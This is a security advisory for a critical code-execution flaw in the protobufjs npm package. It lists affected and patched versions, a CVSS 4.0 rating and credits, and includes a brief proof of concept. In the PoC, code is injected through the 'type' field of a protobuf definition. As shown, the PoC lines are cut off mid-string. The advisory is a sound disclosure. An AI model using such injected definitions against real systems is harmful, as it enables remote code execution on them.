Arbitrary code execution in protobufjs

Critical **alexander-fenster** published **GHSA-xq3m-2v4x-88gg** 2 days ago

Package

protobufjs (npm)

Affected versions

<=8.0.0, <=7.5.4

Patched versions

8.0.1, 7.5.5

Description

Summary

protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details

Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC

```
const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6
try {
    const user = UserType.decode(userBytes);
} catch (e) {}
```

Impact

Remote code execution when attackers can control the protobuf definition files.

Severity

Critical 9.4 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	Low
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High
Subsequent System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-41242

Weaknesses

No CWEs

Credits

cristianstaicu	Reporter
alexander-fenster	Remediation developer
sofisl	Remediation reviewer